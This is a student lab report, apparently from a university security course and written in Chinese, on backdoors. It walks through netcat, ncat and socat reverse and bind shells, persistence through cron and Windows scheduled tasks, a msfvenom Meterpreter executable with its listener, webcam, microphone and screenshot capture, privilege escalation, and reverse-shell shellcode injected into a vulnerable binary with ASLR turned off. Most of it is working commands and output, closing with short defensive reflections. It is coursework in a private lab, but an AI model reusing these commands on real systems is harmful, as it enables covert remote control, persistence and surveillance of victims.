Exp2 后门原理与实践
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
一
前提--后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
视频练习:
1. windows连接kali:
kali:
sudo service ssh start //要先开启ssh服务,才可以建立连接
windows:
ssh lby20181205@192.168.239.129 //ssh 用户名@想要连接的IP地址
同样,kali也可以连接windows,只要修改相应的用户名和主机就可。
2. Win获得Linux Shell
windows: ifconfig 查找主机IP
kali: nc 192.168.229.1 8888 -e /bin/sh //这里是windows的IP
windows: ncat.exe -l -p 8888
成功!
3. Linux获得Win Shell
kali : ip addr 查看IP地址
kali: 输入 nc -l -p 1205 //这里需要关闭kali的防火墙 ufw disable
windows: ncat.exe 192.168.239.129 1205 //这里是kali的IP, 当不输入 -e cmd.exe 时,就是传输数据。
成功!
命令含义:
ncat.exe -e cmd.exe 192.168.239.129 1205
ncat是一个底层工具,进行基本的TCP UDP数据收发。
将其接受的字符串传到一个可执行文件 cmd.exe 中(类似于管道符 “ | ”)
然后将输出传给 192.168.239.129 端口号为1205
4. nc还可以在两个主机中传输文件:
发送方:windiws
nc 192.168.239.129 1205 < InputTest.txt //这里是接收方的IP地址,和选择的端口号
接收方kali:接受文件,将其内容存入Test.out
nc -l -p 1205 > Test.out
一、使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
kali端: crontab -e
1.crontab指令增加一条定时任务,"-e"表示编辑。
2.因为是第一次编辑,故提示选择编辑器,我选择了3。
3.按下回车键后,会自动打开文件 /tmp/crontab.f3CSBm/crontab 。
在最后一行添加
5 * * * * /bin/netcat 192.168.229.1 1205 -e /bin/sh //分钟、小时、日期、月、周几
简单说就是在每个小时的第5分钟执行后面的那条指令,即执行 /bin/netcat 192.168.229.1 1205 -e /bin/sh 。其中 192.168.229.1 是我主机的IP地址,端口号为1205。
4. 保存、退出后配置立即生效。可以通过 crontab -l 来查看,"-l"表示list。
5.(要在指定时间前打开)如果你在另一台主机192.168.229.1中,让nc侦听在1205端口,那到了5分就会有获得一个shell。这就是一个最简单的反弹式后门。
windows端:
你也可以开一个非反弹式的后门,如把cron指令写成"nc -l -p 8087 -e /bin/sh",你的主控机可以随时连接这个主机"nc IP 8087",就能获得shell。
二、使用socat获取主机操作Shell, 任务计划启动
1. 在Windows主机上按下 win(徽标)+r ,输入 compmgmt.msc 唤出计算机管理界面,在这里创建一个新的定时任务。
2. 在打开的页面中依次点击以下按钮:“任务计划程序” ---> “创建任务”
3. 在弹出的窗口中,点击 “常规”,输入该任务计划的名称
4. 点击“触发器” ----> “新建” ---->"确定“。
并选择预定开启时间
5. 点击“操作” ----> “新建” ---->"确定“。
在”程序和脚本“中,输入socat.exe的存放位置,并添加参数 tcp-listen:1205 exec:cmd.exe,pty,stderr ( 把可执行文件cmd.exe绑定到端口1205,同时把cmd.exe的stderr重定向到stdout上)
6. 可以在”任务计划程序库“中查看到我们新建的任务:”a_test"。
7.可点击右键直接运行该任务。
8. 保留windows端弹出的cmd.exe窗口,并在kali端输入 socat - tcp:192.168.229.1:1205 ,其中192.168.229.1是我windows的IP地址,端口号为1205(要与之前添加的参数相一致)
windows端:
kali端:
9.可返回“计算机管理”关闭该任务(右键---->结束)
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在kali端生成exp2_backdoor.exe。
kali端:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f exe > exp2_backdoor.exe
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。
这里windows/meterpreter/reverse_tcp (windows下的一个后门,是“反弹式连接”--- 被攻击者主动连接攻击者)就是一段shellcode。
-f 生成文件的类型
> 输出到哪个文件
LHOST 是反弹回连的IP (kali的IP地址)
LPORT 是回连的端口 1205
!!!这里会看到exp2_backdoor.exe的文件大约为73KB!!,之后会用到
2. 在Windows命令行中进入ncat目录,执行命令 ncat.exe -l 1205 > exp2_backdoor.exe ,使被控主机即Windows端进入接收文件模式。
3. 在kali中执行命令 nc 192.168.229.1 1205 < exp2_backdoor.exe ,IP地址填Windows主机的,将exp2_backdoor.exe从kali端发送到Windows端。
4. 此后,发现exp2_backdoor.exe已经在windows中(要注意查看exp2_backdoor.exe的大小,不要过早停止传输)
这里主机要关闭防火墙,否则会被查杀。
5. MSF打开监听进程:
kali 端:
msfconsole
1 use exploit/multi/handler // 使用监听一种后门 2 3 set payload windows/meterpreter/reverse_tcp 4 5 set LHOST 192.168.239.129 //将要实行监听的主机IP,也就是被监听主机将要连接的IP地址 6 7 set LPORT 1205
show options //查看设置的信息是否正确
6. 在kali端输入 exploit 后,在windows端点击运行后门程序"exp2_backdooe.exe"。
则可发现kali端的监听进程获得了Windows主机的主动连接,并得到远程控制shell。
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权(help查看所有指令)
1. 音频: record_mic
2. 摄像头: webcam_snap
3. 截屏: screenshot
4. 提权:getsystem (我的失败了)
五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
//////自己生成shellcode//////////
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80"
"x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68"
"x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1"
"xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3"
"x52x53x89xe1xb0x0bxcdx80";
与实验一操作类似的部分就不加以解释了,直接放图
1. 关闭地址随机化://每次都进行!
execstack -s exp2_20181205 execstack -q exp2_20181205 echo "0" > /proc/sys/kernel/randomize_va_space more /proc/sys/kernel/randomize_va_space
2. 查找getshell的首地址:
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00" ' > input
终端1:
终端2:
ps -ef | grep exp2_20181205 gdb
attach 3253 disassemble foo break *0x080484ae c //回车后在终端1再按一次回车 info r esp x/16x 0xffffd57c //以十六进制查看esp的值
找到getshell的首地址了,为0xffffd580。
3.将正确的首地址注入:
perl -e 'print "A" x 32;print "x80xd5xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80" ' > exp2_input_shellcode
4.运行测试是否正确:
终端1: //先在终端1执行 (cat exp2_input_shellcode;cat) | ./exp2_20181205
终端2:
1 use exploit/multi/handler //用于设置payload 2 set payload linux/x86/shell_reverse_tcp 3 set LHOST 192.168.239.129 //与shellcode一致 4 set LPORT 1205 //与shellcode一致 5 exploit //设置完成开始监听
//出现第一个蓝色 ”*“ 后,在终端2再按一次回车
成功!
六、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过不安全的网站,在网站进行系统缓存时,自动下载至主机。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
将程序名字和图标改为用户熟知的软件,从而使用户自己点开软件运行。
通过邮件信箱或者链接发给用户,用户点开就会启动。
(3)Meterpreter有哪些给你映像深刻的功能?
截屏、录音、按键记录等功能吧,用户的信息很大可能会通过这种方式被泄露。
(4)如何发现自己有系统有没有被安装后门?
开启防火墙或杀毒软件,当发现木马程序时会自动查杀。
七、实验思考与体会
本次实验的操作让我对后门程序有了更加深刻的理解。也更意识到了它的危害:在获取权限后,它甚至可能获得用户的密码。也警惕着要注意着木马程序,不要点开未知来源的链接或邮箱,也不要访问不安全的网站。
并且,在kali中提权时,我的系统是失败的,虽然它可以连接windows。在看到云班课的讨论区后,发现可能是生成的木马程序与系统不兼容导致的,有的同学将文件改名为“setup.exe"后成功了(我的仍是失败),还有的是对木马程序提权,然后就可以成功了。(这个我还没有尝试,会在尝试后添加)
在加分项目中,要注意payload与之前的不一样,要改为linux下的tcp,否则无法反弹连接。并且在shellcode中已经确定了端口号,不能随意更改。